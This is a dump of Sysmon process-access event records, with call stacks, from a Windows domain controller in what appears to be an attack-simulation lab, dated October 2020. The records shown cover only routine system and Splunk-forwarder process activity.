09:14:20.261{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6a63|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005885Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.230{A5F018FF-28BF-5F80-0F00-000000007F01}11281208C:\Windows\system32\svchost.exe{A5F018FF-29EC-5F80-4E01-000000007F01}2252C:\Windows\system32\usoclient.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\usocore.dll+21062|c:\windows\system32\usocore.dll+158b4|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 10341000x80000000000000005884Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.152{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-29EC-5F80-4E01-000000007F01}2252C:\Windows\system32\usoclient.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005883Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-29EC-5F80-4F01-000000007F01}40241920C:\Windows\system32\conhost.exe{A5F018FF-29EC-5F80-4E01-000000007F01}2252C:\Windows\system32\usoclient.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005882Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-29EC-5F80-4F01-000000007F01}4024C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005881Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005880Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005879Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005878Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005877Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005876Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005875Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005874Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005873Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005872Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-29EC-5F80-4E01-000000007F01}2252C:\Windows\system32\usoclient.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005871Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BF-5F80-0F00-000000007F01}11281208C:\Windows\system32\svchost.exe{A5F018FF-29EC-5F80-4E01-000000007F01}2252C:\Windows\system32\usoclient.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a711|c:\windows\system32\UBPM.dll+f974|c:\windows\system32\UBPM.dll+cd3c|c:\windows\system32\UBPM.dll+d305|c:\windows\system32\UBPM.dll+dc05|c:\windows\system32\UBPM.dll+e91d|c:\windows\system32\UBPM.dll+e014|c:\windows\system32\UBPM.dll+115a2|c:\windows\system32\EventAggregation.dll+3fae|c:\windows\system32\EventAggregation.dll+3ea1|c:\windows\system32\EventAggregation.dll+36c9|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+64ed5|C:\Windows\SYSTEM32\ntdll.dll+64bdd|C:\Windows\SYSTEM32\ntdll.dll+64a40|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+2a073|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005870Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005869Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:20.137{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005897Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:48.588{A5F018FF-28BF-5F80-1100-000000007F01}12001308C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|c:\windows\system32\es.dll+118e5|c:\windows\system32\es.dll+13b72|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 10341000x80000000000000005896Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:48.573{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1fb7a|C:\Windows\SYSTEM32\samsrv.dll+5df1|C:\Windows\SYSTEM32\samsrv.dll+5cf2|C:\Windows\SYSTEM32\samsrv.dll+178ce|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005895Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:48.573{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1fb7a|C:\Windows\SYSTEM32\samsrv.dll+5df1|C:\Windows\SYSTEM32\samsrv.dll+5cf2|C:\Windows\SYSTEM32\samsrv.dll+178ce|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 22542200x80000000000000005898Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:48.568{A5F018FF-28CF-5F80-3300-000000007F01}2624win-dc-1796611.attackrange.local0fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\dfsrs.exe 10341000x80000000000000005925Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.838{A5F018FF-2A0C-5F80-5101-000000007F01}40361520C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005924Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A0C-5F80-5101-000000007F01}4036C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005923Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005922Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005921Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 